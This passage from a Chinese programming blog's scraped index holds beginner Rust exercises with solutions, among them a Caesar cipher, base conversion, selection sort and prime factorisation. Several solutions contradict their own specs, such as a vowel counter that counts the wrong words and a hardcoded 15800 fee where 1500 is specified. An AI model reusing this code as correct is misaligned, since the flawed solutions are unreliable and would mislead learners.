n, i, n - i); 31 } 32 } 33} 凯撒密码(Caesar Cypher)是一个比较弱的加密形式,它涉及将单词中的每个字母“轮转”固定数量的位置。轮转一个字母意思是在字母表中移动它,如果需要,再从开头开始。所以‘A’轮转3个位置是’D‘,而’Z‘轮转一个位置是’A‘。 要对一个单词进行轮转操作,对其中每一个字母进行轮转即可。例如,“cheer”轮转7位的结果是“jolly”,而“melon”轮转-10位结果是“cubed”。在电影《2001太空漫游》中,舰载机器人叫作HAL,这个单词正是IBM轮转-1位的结果。\n编写一个函数rotate_word,接收一个字符串以及一个整数作为参数,并返回一个新字符串,其中的字母按照给定的整数值“轮转”位置。\ninput:\nizieisie\n5\noutput:\nnenjnxnj\n1use std::io::stdin; 2 3fn caesar_encrypt(plaintext: \u0026amp;str, key: i32) -\u0026gt; String { 4 let mut ciphertext = String::new(); 5 for c in plaintext.chars() { 6 let base = if c.is_ascii_lowercase() { \u0026#39;a\u0026#39; } else { \u0026#39;A\u0026#39; }; 7 let encrypted_char = 8 (((c as u32 - base as u32 + key as u32) % 26) + base as u32) as u8 as char; 9 ciphertext.push(encrypted_char); 10 } 11 ciphertext 12} 13 14fn main() { 15 let mut input = String::new(); 16 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 17 let plaintext = input.trim(); 18 19 let mut input = String::new(); 20 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 21 let key = input.trim().parse::\u0026lt;i32\u0026gt;().expect(\u0026#34;Invalid key\u0026#34;); 22 23 let ciphertext = caesar_encrypt(plaintext, key); 24 println!(\u0026#34;{}\u0026#34;, ciphertext); 25} 从键盘输入一个十进制数n,再输入一个需要转换的进制数,输出十进制转换成对应进制的数。如果输入的转换进制不是2或8或16,输出错误提示。 example:\ninput:\n32\n2\noutput:\n100000\ninput:\n32\n8\noutput:\n40\ninput:\n32\n16\noutput:\n20\ninput:\n32\n5\noutput:\nError!please input correct number(2 or 8 or 16)\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let number: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 7 input.clear(); 8 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 9 let numeration: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 10 11 match numeration { 12 2 =\u0026gt; { 13 println!(\u0026#34;{}\u0026#34;, format!(\u0026#34;{:b}\u0026#34;, number)); 14 } 15 8 =\u0026gt; { 16 println!(\u0026#34;{}\u0026#34;, format!(\u0026#34;{:o}\u0026#34;, number)); 17 } 18 16 =\u0026gt; { 19 println!(\u0026#34;{}\u0026#34;, format!(\u0026#34;{:X}\u0026#34;, number)); 20 } 21 _ =\u0026gt; { 22 println!(\u0026#34;Error! Please input correct number(2 or 8 or 16).\u0026#34;); 23 } 24 } 25} 从键盘接收一个由空格分隔的字符串如:AAF H D,将其存在数组中,第一个是需要转换进制的数值,第二个是当前的进制,第三个是需要转换的进制。输出转换的结果。(B代表二进制 , D代表十进制,O代表八进制,H代表十六进制) example:\ninput:\n23 D H\noutput:\n17\ninput:\n1011 B O\noutput:\n13\ninput:\n1011 H D\noutput:\n4113\n1use std::io::stdin; 2 3fn to_decimal(number: \u0026amp;str, base: \u0026amp;str) -\u0026gt; i32 { 4 match base { 5 \u0026#34;B\u0026#34; =\u0026gt; i32::from_str_radix(number, 2).unwrap(), 6 \u0026#34;O\u0026#34; =\u0026gt; i32::from_str_radix(number, 8).unwrap(), 7 \u0026#34;D\u0026#34; =\u0026gt; number.parse::\u0026lt;i32\u0026gt;().unwrap(), 8 \u0026#34;H\u0026#34; =\u0026gt; i32::from_str_radix(number, 16).unwrap(), 9 _ =\u0026gt; -1, 10 } 11} 12 13fn from_decimal(number: i32, base: \u0026amp;str) -\u0026gt; String { 14 match base { 15 \u0026#34;B\u0026#34; =\u0026gt; format!(\u0026#34;{:b}\u0026#34;, number), 16 \u0026#34;O\u0026#34; =\u0026gt; format!(\u0026#34;{:o}\u0026#34;, number), 17 \u0026#34;D\u0026#34; =\u0026gt; number.to_string(), 18 \u0026#34;H\u0026#34; =\u0026gt; format!(\u0026#34;{:x}\u0026#34;, number), 19 _ =\u0026gt; String::from(\u0026#34;Invalid Base\u0026#34;), 20 } 21} 22 23fn main() { 24 let mut input = String::new(); 25 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 26 let vec: Vec\u0026lt;\u0026amp;str\u0026gt; = input.split_whitespace().collect(); 27 let decimal = to_decimal(vec[0], vec[1]); 28 let result = from_decimal(decimal, vec[2]); 29 println!(\u0026#34;{}\u0026#34;, result); 30} 编写一个程序计算c的值,$c=\\sqrt{a^2+b^2-2abcosc}$,从键盘输入一个a,一个b,一个r,输出c的值。(保留两位小数) example:\ninput:\n2.5\n3.4\n90\noutput:\n5.04\n1use std::io::stdin; 2 3fn input() -\u0026gt; f64 { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let num: f64 = input.trim().parse().expect(\u0026#34;Invalid input\u0026#34;); 7 num 8} 9 10fn main() { 11 let a = input(); 12 let b = input(); 13 let r = input(); 14 println!( 15 \u0026#34;{}\u0026#34;, 16 format!(\u0026#34;{:.2}\u0026#34;, (a * a + b * b - 2.0 * a * b * r.cos()).sqrt()) 17 ); 18} 从键盘输入一组由单词和空格组成的长字符串,统计字符串中不包括元音字母的单词个数。 example:\ninput:\nword by word\noutput:\n1\n1use std::io::{stdin, BufRead}; 2 3fn has_vowel(word: \u0026amp;str) -\u0026gt; bool { 4 let vowels = \u0026#34;aeiouAEIOU\u0026#34;; 5 for c in word.chars() { 6 if vowels.contains(c) { 7 return true; 8 } 9 } 10 return false; 11} 12 13fn main() { 14 let mut count = 0; 15 for s in stdin() 16 .lock() // StdinLock\u0026lt;\u0026#39;static\u0026gt; 17 .lines() // Lines\u0026lt;StdinLock\u0026lt;\u0026#39;static\u0026gt;\u0026gt; 18 .next() // Option\u0026lt;Result\u0026lt;String, Error\u0026gt;\u0026gt; 19 .unwrap() // Result\u0026lt;String, Error\u0026gt; 20 .unwrap() // String 21 .split_whitespace() // \u0026amp;str 22 { 23 if has_vowel(s) { 24 count += 1; 25 } 26 } 27 println!(\u0026#34;{count}\u0026#34;); 28} 输入一个由秒组成的字符串例如15678s,转换成小时分秒输出,或输入一个小时组成的字符串3.56h,转换成秒输出。 example:\ninput:\n15678s\noutput:\nTotal time is: 4 hour 21 minute 18 second\ninput:\n3.56h\noutput:\nTotal second is: 12816\n1use std::io::stdin; 2 3fn second2hour(total: i32) -\u0026gt; Vec\u0026lt;i32\u0026gt; { 4 let second = total % 60; 5 let minute = (total / 60) % 60; 6 let hour = total / 3600; 7 vec![hour, minute, second] 8} 9 10fn hour2second(hour: f64) -\u0026gt; i32 { 11 (hour * 3600.0) as i32 12} 13 14fn main() { 15 let mut input = String::new(); 16 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 17 let time = input.trim(); 18 if time.chars().last().unwrap() == \u0026#39;s\u0026#39; { 19 let second = time 20 .chars() 21 .take(time.len() - 1) 22 .collect::\u0026lt;String\u0026gt;() 23 .parse::\u0026lt;i32\u0026gt;() 24 .unwrap(); 25 let result = second2hour(second); 26 println!( 27 \u0026#34;{} hours {} minutes {} seconds\u0026#34;, 28 result[0], result[1], result[2] 29 ); 30 } else { 31 let hour = time 32 .chars() 33 .take(time.len() - 1) 34 .collect::\u0026lt;String\u0026gt;() 35 .parse::\u0026lt;f64\u0026gt;() 36 .unwrap(); 37 let result = hour2second(hour); 38 println!(\u0026#34;{} seconds\u0026#34;, result); 39 } 40} 从键盘输入一个n,打印与n相关的图像。具体图形见例子。 1example: 2 3input: 43 5output: 6* 7** 8*** 9 10input: 116 12output: 13* 14** 15*** 16**** 17***** 18****** 1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n = input.trim().parse::\u0026lt;i32\u0026gt;().expect(\u0026#34;Invalid input\u0026#34;); 7 8 let asterisk = \u0026#34;*\u0026#34;; 9 for i in 1..=n as usize { 10 println!(\u0026#34;{}\u0026#34;, asterisk.repeat(i)); 11 } 12} 编写一个程序,从键盘输入一行一维数组,一行符号,一行数字,根据符号,计算一维数组值的改变。输入符号只有四种,分别为“+”“-”“*”“/”,当符号为“/”时,判断一维数组中的每个元素是什么类型,如果每个元素都为int型数据,输出的一维数组中每一项,为整除的结果,即输出的一维数组中每一项的值都为int型,如果一维数组中至少包含一个float型数据,则输出的一维数组中每个元素都为float型数据。 example:\ninput:\n[1,2,3,4]\n+\n3\noutput:\n[4,5,6,7]\ninput:\n[1,2,3,4]\n*\n3\noutput:\n[3,6,9,12]\ninput:\n[1,2,3,4]\n/\n2\noutput:\n[0,1,1,2]\ninput:\n[1.0,2,3,4]\n/\n2\noutput:\n[0.5, 1.0, 1.5, 2.0]\n1use serde_json; // 第三方 serde_json 库 2use std::io::stdin; 3 4fn main() { 5 let mut input = String::new(); 6 stdin().read_line(\u0026amp;mut input).unwrap(); 7 let vec_str: String = input.trim().to_string(); 8 input.clear(); 9 10 stdin().read_line(\u0026amp;mut input).unwrap(); 11 let sign: String = input.trim().to_string(); 12 input.clear(); 13 14 stdin().read_line(\u0026amp;mut input).unwrap(); 15 let num: i32 = input.trim().parse().unwrap(); 16 input.clear(); 17 18 if vec_str.contains(\u0026#34;.\u0026#34;) { 19 let vec: Vec\u0026lt;f64\u0026gt; = serde_json::from_str(\u0026amp;vec_str.trim()).unwrap(); 20 println!( 21 \u0026#34;{:?}\u0026#34;, 22 vec.iter().map(|f| f / num as f64).collect::\u0026lt;Vec\u0026lt;f64\u0026gt;\u0026gt;() 23 ); 24 } else { 25 let vec: Vec\u0026lt;i32\u0026gt; = serde_json::from_str(\u0026amp;vec_str.trim()).unwrap(); 26 match sign.as_str() { 27 \u0026#34;+\u0026#34; =\u0026gt; { 28 println!(\u0026#34;{:?}\u0026#34;, vec.iter().map(|i| i + num).collect::\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt;()); 29 } 30 \u0026#34;-\u0026#34; =\u0026gt; { 31 println!(\u0026#34;{:?}\u0026#34;, vec.iter().map(|i| i - num).collect::\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt;()); 32 } 33 \u0026#34;*\u0026#34; =\u0026gt; { 34 println!(\u0026#34;{:?}\u0026#34;, vec.iter().map(|i| i * num).collect::\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt;()); 35 } 36 \u0026#34;/\u0026#34; =\u0026gt; { 37 println!(\u0026#34;{:?}\u0026#34;, vec.iter().map(|i| i / num).collect::\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt;()); 38 } 39 _ =\u0026gt; { 40 return; 41 } 42 } 43 } 44} 某公司有n千万元可以用于对a,b,c三个项目的投资。假设每年投资一个项目,投资的规则是:或者对a投资1千万,或者对b投资2千万,或者对c投资2千万,从键盘输入一个n,代表投资的n千万,输出可以得到的总的方案数有多少个。 将该问题转换为递归公式,可以写成:$f(n)=f(n-1)+2f(n-2)$,其中f(1)=1,f(2)=3。 example:\ninput:\n3\noutput:\n5\ninput:\n10\noutput:\n683\n1use std::io::stdin; 2 3fn func(n: i32) -\u0026gt; i32 { 4 if n == 1 { 5 return 1; 6 } else if n == 2 { 7 return 3; 8 } else { 9 return func(n - 1) + 2 * func(n - 2); 10 } 11} 12 13fn main() { 14 let mut input = String::new(); 15 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 16 let n: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 17 18 println!(\u0026#34;{}\u0026#34;, func(n)); 19} 输入两行数据,第一个包含一个整数n,表示数列中整数的个数。 第二行包含n个整数a1,a2,a3,……an,表示给定的数列,相邻的整数之间用一个空格分割。输出一个整数,表示给定的数列有多少段。 example:\ninput:\n8\n8 8 8 0 12 12 8 0\noutput:\n5\n注:8 8 8 是第一段,0 是第二段,12 12 是第三段 ,8 是第四段,最后一个 0 是第五段。\n1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let nums: Vec\u0026lt;i32\u0026gt; = input 7 .trim() 8 .split_whitespace() 9 .map(|s| s.trim().parse::\u0026lt;i32\u0026gt;().unwrap()) 10 .collect(); 11 12 let mut count = 1; 13 for i in 1..nums.len() { 14 if nums[i] != nums[i - 1] { 15 count += 1; 16 } 17 } 18 println!(\u0026#34;{count}\u0026#34;); 19} 从键盘输入一个未排序的一维数组,利用选择排序对其进行排序,输出每一次选择排序后得到的一维数组序列。选择排序的执行原理是扫描整个无序序列,将最小元素与无序序列索引0的位置做交换。第二次选择剩余无序序列中最小的元素与索引是1的位置交换,以此类推,直到最后一次选择剩余无序序列中最小的元素与索引是len-1的位置做交换。 1example: 2 3input: 4[6,2,7,5,4,1,3] 5output: 6[1, 2, 7, 5, 4, 6, 3] 7[1, 2, 7, 5, 4, 6, 3] 8[1, 2, 3, 5, 4, 6, 7] 9[1, 2, 3, 4, 5, 6, 7] 10[1, 2, 3, 4, 5, 6, 7] 11[1, 2, 3, 4, 5, 6, 7] 12 13input: 14[22,8,16,5,14,17] 15output: 16[5, 8, 16, 22, 14, 17] 17[5, 8, 16, 22, 14, 17] 18[5, 8, 14, 22, 16, 17] 19[5, 8, 14, 16, 22, 17] 20[5, 8, 14, 16, 17, 22] 1use serde_json; 2use std::io::stdin; 3 4fn main() { 5 let mut input = String::new(); 6 stdin().read_line(\u0026amp;mut input).unwrap(); 7 let mut vec: Vec\u0026lt;i32\u0026gt; = serde_json::from_str(\u0026amp;input).unwrap(); 8 9 for i in 0..vec.len() - 1 { 10 let min = vec[i..].iter().min().unwrap(); 11 let min_index = vec[i..].iter().position(|i| i == min).unwrap() + i; 12 vec.swap(i, min_index); 13 println!(\u0026#34;{:?}\u0026#34;, vec); 14 } 15} 问题描述 求出区间[a,b]中所有整数的质因数分解。其中:b \u0026gt; a \u0026gt; 1,且a,b皆为正整数。\n输入格式\n输入两个整数a,b。\n输出格式\n每行输出一个数的分解,形如k=a1a2a3...(a1\u0026lt;=a2\u0026lt;=a3...,k也是从小到大的)(具体可看样例)\n1样例输入 2 33 10 4 5样例输出 6 73=3 84=2*2 95=5 106=2*3 117=7 128=2*2*2 139=3*3 1410=2*5 1use std::io::stdin; 2 3fn is_prime(n: i32) -\u0026gt; bool { 4 if n \u0026lt; 2 { 5 return false; 6 } else { 7 for i in 2..n { 8 if n % i == 0 { 9 return false; 10 } 11 } 12 return true; 13 } 14} 15 16fn pfd(num: i32) -\u0026gt; Vec\u0026lt;i32\u0026gt; { 17 let mut n = num; 18 let mut result = Vec::new(); 19 while !is_prime(n) \u0026amp;\u0026amp; n \u0026gt; 1 { 20 for i in 2..n { 21 if n % i == 0 \u0026amp;\u0026amp; is_prime(i) { 22 result.push(i); 23 n /= i; 24 break; 25 } 26 } 27 } 28 result.push(n); 29 return result; 30} 31 32fn main() { 33 let mut input = String::new(); 34 stdin().read_line(\u0026amp;mut input).unwrap(); 35 let tmp: Vec\u0026lt;i32\u0026gt; = input 36 .split_whitespace() 37 .map(|s| s.parse::\u0026lt;i32\u0026gt;().unwrap()) 38 .collect(); 39 let a = tmp[0]; 40 let b = tmp[1]; 41 for i in a..b + 1 { 42 print!(\u0026#34;{i}=\u0026#34;); 43 let factors: Vec\u0026lt;String\u0026gt; = pfd(i).iter().map(|i| i.to_string()).collect(); 44 print!(\u0026#34;{}\\n\u0026#34;, factors.join(\u0026#34;*\u0026#34;)); 45 } 46} 请编写程序,实现一下功能:从键盘输入一个n,代表二维数组的行和列,输入n行数列,每行的数列中包括n个数字。判断该矩阵是不是交错矩阵,如果是交错矩阵返回一个True,否则返回Flase。所谓交错矩阵,就是当前矩阵与它的转置矩阵的和为零矩阵。例如: $$ \\begin{bmatrix} 0 \u0026amp; -3 \u0026amp; 7 \\\\ 3 \u0026amp; 0 \u0026amp; 9 \\\\ -7 \u0026amp; -9 \u0026amp; 0 \\end{bmatrix} \\quad \\text{与} \\quad \\begin{bmatrix} 0 \u0026amp; 3 \u0026amp; -7 \\\\ -3 \u0026amp; 0 \u0026amp; -9 \\\\ 7 \u0026amp; 9 \u0026amp; 0 \\end{bmatrix} $$\n互为交错矩阵,它们的转置矩阵与自身的和为全零的矩阵。\n1example: 2 3input: 43 50 -3 7 63 0 9 7-7 -9 0 8output: 9True 10 11input: 123 130 3 7 143 0 9 157 9 0 16output: 17False 1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let odr: i32 = input.trim().parse().unwrap(); 7 8 let mut mat: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = Vec::new(); 9 for _ in 0..odr { 10 input.clear(); 11 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 12 let row: Vec\u0026lt;i32\u0026gt; = input 13 .trim() 14 .split_whitespace() 15 .map(|x| x.parse().unwrap()) 16 .collect(); 17 mat.push(row); 18 } 19 20 for i in 0..odr as usize { 21 for j in 0..odr as usize { 22 if mat[i][j] + mat[j][i] != 0 { 23 println!(\u0026#34;False\u0026#34;); 24 return; 25 } 26 } 27 } 28 println!(\u0026#34;True\u0026#34;); 29} ","link":"https://jackgdn.github.io/post/rust2/","section":"post","tags":["Rust"],"title":"Rust 练习(二)"},{"body":" 从键盘接收一个整数,判断一下该整数是奇数还是偶数,如果是奇数,输出“odd\u0026quot;,如果是偶数,输出“even” example:\ninput:\n20\noutput:\neven\n1use std::io::stdin; 2 3fn main() { 4 let mut num: String = String::new(); 5 stdin().read_line(\u0026amp;mut num).expect(\u0026#34;Failed to read line\u0026#34;); 6 let num: i32 = num.trim().parse().expect(\u0026#34;Failed to parse number\u0026#34;); 7 if num % 2 == 0 { 8 println!(\u0026#34;even\u0026#34;); 9 } else { 10 println!(\u0026#34;odd\u0026#34;); 11 } 12} 从键盘输入一个代表年份的四位数,判断一下当前输入的年份是不是闰年,是闰年返回“is leap year”,不是闰年返回“is not leap year” example:\ninput:\n2024\noutput:\nis leap year\n1use std::io::stdin; 2 3fn main() { 4 let mut year: String = String::new(); 5 stdin().read_line(\u0026amp;mut year).expect(\u0026#34;Failed to read line\u0026#34;); 6 let year: i32 = year.trim().parse().expect(\u0026#34;Failed to parse year\u0026#34;); 7 if year % 4 == 0 \u0026amp;\u0026amp; year % 100 != 0 || year % 400 == 0 { 8 println!(\u0026#34;is leap year\u0026#34;); 9 } else { 10 println!(\u0026#34;is not leap year\u0026#34;); 11 } 12} 已知斐波那契数列的值依次为:1,1,2,5,8,13,21,34…… 有斐波那契数列的公式为:\n$$ F(n) = \\frac{{\\left( \\frac{{1 + \\sqrt{5}}}{2} \\right)^n - \\left( \\frac{{1 - \\sqrt{5}}}{2} \\right)^n}}{{\\sqrt{5}}} $$\n试编写程序,输入一个n,可以得到斐波那契数列第n项的值。\n1use std::io::stdin; 2 3fn main() { 4 let mut n: String = String::new(); 5 stdin().read_line(\u0026amp;mut n).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n: f64 = n.trim().parse().expect(\u0026#34;Invalid input\u0026#34;); 7 let result = fibonacci(n); 8 println!(\u0026#34;{}\u0026#34;, result); 9} 10 11fn fibonacci(n: f64) -\u0026gt; i32 { 12 let sqrt5 = 5.0f64.sqrt(); 13 let phi = (1.0 + sqrt5) / 2.0; 14 let a = phi.powf(n); 15 let b = (1.0 - phi).powf(n); 16 let result = (a - b) / sqrt5; 17 result.round() as i32 18} 输入一个四位数,将四位数的每一位相加后输入结果。例如: input:3478\noutput:22\ninput:1234\noutput:10\n注:即 3 + 4 + 7+ 8 = 22;1+2+3+4=10\n1use std::io::stdin; 2 3fn main() { 4 let mut num: String = String::new(); 5 stdin().read_line(\u0026amp;mut num).expect(\u0026#34;Failed to read line\u0026#34;); 6 let result: i32 = num 7 .chars() 8 .filter_map(|c| c.to_digit(10)) 9 .map(|d| d as i32) 10 .sum(); 11 println!(\u0026#34;{}\u0026#34;, result); 12} 输入3个不相等的数字,并将三个数字整理成从大到小的顺序输出。 input:\n6\n7\n2\noutput:\n7 6 2\n1use std::io::stdin; 2 3fn main() { 4 let mut nums: Vec\u0026lt;i32\u0026gt; = Vec::new(); 5 for _ in 0..3 { 6 let mut input = String::new(); 7 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 8 let year: i32 = input.trim().parse().expect(\u0026#34;Invalid input\u0026#34;); 9 nums.push(year); 10 } 11 nums.sort(); 12 nums.reverse(); 13 println!(\u0026#34;{} {} {}\u0026#34;, nums[0], nums[1], nums[2]); 14} 从键盘按照字母,数字,字母,数字的顺序输入4个数据,将字母和字母连接生成新的字符串,数字和数字做加法得到一个新数字,将字符串和数字组合成新的字符输出。 例如: input:\na\n5\nb\n7\noutput:\nab12\n1use std::io::stdin; 2 3fn main() { 4 let mut nums: Vec\u0026lt;i32\u0026gt; = Vec::new(); 5 for i in 0..4 { 6 let mut input = String::new(); 7 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 8 if i % 2 == 0 { 9 let input: char = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 10 nums.push(input as i32); 11 } else { 12 let input: i32 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 13 nums.push(input); 14 } 15 } 16 println!( 17 \u0026#34;{}{}{}\u0026#34;, 18 nums[0] as u8 as char, 19 nums[2] as u8 as char, 20 nums[1] + nums[3] 21 ); 22} 求一个四位数的digital root。Digital root是一个1位整数,它的计算方法如下: The beginning number is 3498\nThe sum of its digits is 3+4+9+8=24\nThe number is now 24\nThe sum of its digits is 2+4=6\nDigital root即为6\n比如输入为:\n3498\n则输出为:\n6\n1use std::io::stdin; 2 3fn main() { 4 let mut num = String::new(); 5 stdin().read_line(\u0026amp;mut num).expect(\u0026#34;Failed to read line\u0026#34;); 6 let num: i32 = num.trim().parse().expect(\u0026#34;Failed to parse number\u0026#34;); 7 let mut result = num; 8 while result \u0026gt; 9 { 9 result = digital_root(result); 10 } 11 println!(\u0026#34;{}\u0026#34;, result); 12} 13 14fn digital_root(num: i32) -\u0026gt; i32 { 15 num.to_string() 16 .chars() 17 .filter_map(|c| c.to_digit(10)) 18 .map(|d| d as i32) 19 .sum() 20} 李姓家族有一笔¥100000的遗产分配。已知家族遗产管理者需要留存遗产的1.5%。遗产继承人由三部分组成:1.旁支亲属。每人可以继承剩余遗产份额的为1。2.子女。每人可继承剩余遗产的份额为100。3.配偶,可以继承剩余遗产份额为200.配偶为1人。 从键盘依次属于亲属的人数;子女数。\n遗产份额根据能继承遗产的总数来计算。如:有一位亲属,一位子女,一位配偶,则遗产划分的份额为1+100+200=301,即可继承的遗产划分为301份。亲属1份,子女100份,配偶200份。\n依次输出遗产管理者获得钱数;每名旁支亲属可以获取的钱数;每名子女可以获得的钱数;配偶可以获得的钱数。(钱数只能为整数,并且不允许四舍五入;配偶的钱为其他人取完之后剩余的所有钱数)\nexample:\ninput:\n3\n2\noutput:\n1500 244 24400 48968\n1use std::io::stdin; 2 3fn main() { 4 let mut rel_num: String = String::new(); 5 let mut kid_num: String = String::new(); 6 7 stdin().read_line(\u0026amp;mut rel_num).expect(\u0026#34;Failed to read line\u0026#34;); 8 stdin().read_line(\u0026amp;mut kid_num).expect(\u0026#34;Failed to read line\u0026#34;); 9 10 let rel_num: i32 = rel_num.trim().parse().expect(\u0026#34;Invalid input\u0026#34;); 11 let kid_num: i32 = kid_num.trim().parse().expect(\u0026#34;Invalid input\u0026#34;); 12 13 let mng: i32 = 15800; 14 let rest: i32 = 100000 - 1500; 15 let weight: i32 = rel_num * 1 + kid_num * 100 + 200; 16 let peow: f64 = (rest as f64) / (weight as f64); 17 18 let rel: i32 = peow.floor() as i32; 19 let kid: i32 = rel * 100; 20 let spo = rest - rel - kid; 21 22 println!(\u0026#34;{mng} {rel} {kid} {spo}\u0026#34;); 23} 鸡尾酒瓶由三个圆锥体部分组成。高度为 h,顶部和底部的半径为 r1 和 r2 的圆锥体的容积为 V 鸡尾酒瓶及容积计算公式如下所示。 $$ V = \\pi\\frac{(r_1^2 + r_1r_2 + r_2^2)h}{3} $$\n试编写程序,输入鸡尾酒瓶的高度h和顶部底部的半径,计算鸡尾酒瓶的容积。\nexample:\ninput:\n10\n2\n4\noutput:\n293.21531433504737\n1use std::f64::consts::PI; 2use std::io::stdin; 3 4fn main() { 5 let mut h: String = String::new(); 6 let mut r1: String = String::new(); 7 let mut r2: String = String::new(); 8 9 stdin().read_line(\u0026amp;mut h).unwrap(); 10 stdin().read_line(\u0026amp;mut r1).unwrap(); 11 stdin().read_line(\u0026amp;mut r2).unwrap(); 12 13 let h: f64 = h.trim().parse().unwrap(); 14 let r1: f64 = r1.trim().parse().unwrap(); 15 let r2: f64 = r2.trim().parse().unwrap(); 16 17 let v: f64 = (PI / 3.0) * (r1.powf(2.0) + r1 * r2 + r2.powf(2.0)) * h; 18 19 println!(\u0026#34;{}\u0026#34;, v); 20} 编写一个程序,以军用格式如(0900、1730)读取两个时间,并打印两个时间之间相差的小时和分钟数。 example:\ninput:\n0900\n1730\noutput:\n8 hours 30 minutes\n1use std::io::stdin; 2 3fn main() { 4 let mut start_time = String::new(); 5 let mut end_time = String::new(); 6 7 stdin().read_line(\u0026amp;mut start_time).unwrap(); 8 stdin().read_line(\u0026amp;mut end_time).unwrap(); 9 10 let start_minute: i32 = start_time.trim()[..2].parse::\u0026lt;i32\u0026gt;().unwrap() * 60 11 + start_time.trim()[2..].parse::\u0026lt;i32\u0026gt;().unwrap(); 12 let end_minute: i32 = end_time.trim()[..2].parse::\u0026lt;i32\u0026gt;().unwrap() * 60 13 + end_time.trim()[2..].parse::\u0026lt;i32\u0026gt;().unwrap(); 14 15 let duration_minute = end_minute - start_minute; 16 17 let result_minute = duration_minute % 60; 18 let result_hour = (duration_minute - result_minute) / 60; 19 20 println!(\u0026#34;{result_hour} hours {result_minute} minutes\u0026#34;); 21} 从键盘输入一个数字n,计算小于n的所有奇数的和。 input:\n100\noutput:\n2500\n1use std::io::stdin; 2 3fn main() { 4 let mut num = String::new(); 5 stdin().read_line(\u0026amp;mut num).unwrap(); 6 let num: i32 = num.trim().parse().unwrap(); 7 let mut result = 0; 8 for i in 1..num { 9 if i % 2 != 0 { 10 result += i; 11 } 12 } 13 println!(\u0026#34;{result}\u0026#34;); 14} 已知有公式 $S=\\frac{1}{1^2}+\\frac{1}{2^2}+\\cdots+\\frac{1}{n^2}+\\cdots$,编写程序计算 S,要求加的最后一项值大于 $10^{-10}$,输出 S 的值。 1fn main() { 2 let mut sum: f64 = 0.0; 3 let mut n: f64 = 1.0; 4 while 1.0 / n.powf(2.0) \u0026gt; 1e-10 { 5 sum += 1.0 / n.powf(2.0); 6 n += 1.0; 7 } 8 println!(\u0026#34;{sum}\u0026#34;); 9} 输入一个数字,判断一下该数字是不是水仙花数(三位数)。 水仙花数:例如 $153=1^3+5^3+3^3$,即水仙花数。\ninput:\n153\noutput:\nYes\ninput:\n256\noutput:\nNo\ninput:\n1234\noutput:\nOut scope\n1use std::io::stdin; 2 3fn main() { 4 let mut num = String::new(); 5 stdin().read_line(\u0026amp;mut num).unwrap(); 6 if num.trim().len() != 3 { 7 println!(\u0026#34;Out of Scope\u0026#34;); 8 return; 9 } 10 let a = num.trim()[0..1].parse::\u0026lt;i32\u0026gt;().unwrap(); 11 let b = num.trim()[1..2].parse::\u0026lt;i32\u0026gt;().unwrap(); 12 let c = num.trim()[2..3].parse::\u0026lt;i32\u0026gt;().unwrap(); 13 let num = num.trim().parse::\u0026lt;i32\u0026gt;().unwrap(); 14 if num == a.pow(3) + b.pow(3) + c.pow(3) { 15 println!(\u0026#34;Yes\u0026#34;); 16 } else { 17 println!(\u0026#34;No\u0026#34;); 18 } 19} 输入任意两个整数,输出他们的最大公约数和最小公倍数。 input:\n6\n9\noutput:\n3 18\n1use std::io::stdin; 2 3fn gcd(a: i32, b: i32) -\u0026gt; i32 { 4 if b == 0 { 5 a 6 } else { 7 gcd(b, a % b) 8 } 9} 10 11fn lcm(a: i32, b: i32) -\u0026gt; i32 { 12 a * b / gcd(a, b) 13} 14 15fn main() { 16 let mut a = String::new(); 17 let mut b = String::new(); 18 stdin().read_line(\u0026amp;mut a).unwrap(); 19 stdin().read_line(\u0026amp;mut b).unwrap(); 20 let a: i32 = a.trim().parse().unwrap(); 21 let b: i32 = b.trim().parse().unwrap(); 22 23 let gcd = gcd(a, b); 24 let lcm = lcm(a, b); 25 26 println!(\u0026#34;{gcd} {lcm}\u0026#34;); 27} 从键盘接收两个数据,一个代表鸡和兔子的头数,一个代表,鸡和兔子的腿数。编写一个程序,计算有多少只鸡,多少只兔子。如果无解,则输出:No solution. input:\n35\n94\noutput:\nrabbit: 12 chicken: 23\ninput:\n20\n40\noutput:\nonly have chicken: 20\ninput:\n15\n60\noutput:\nonly have rabbit: 15\ninput:\n10\n100\noutput:\nNo solution\n1use std::io::stdin; 2 3fn main() { 4 let mut head = String::new(); 5 let mut leg = String::new(); 6 7 stdin().read_line(\u0026amp;mut head).unwrap(); 8 stdin().read_line(\u0026amp;mut leg).unwrap(); 9 10 let head: i32 = head.trim().parse().unwrap(); 11 let leg: i32 = 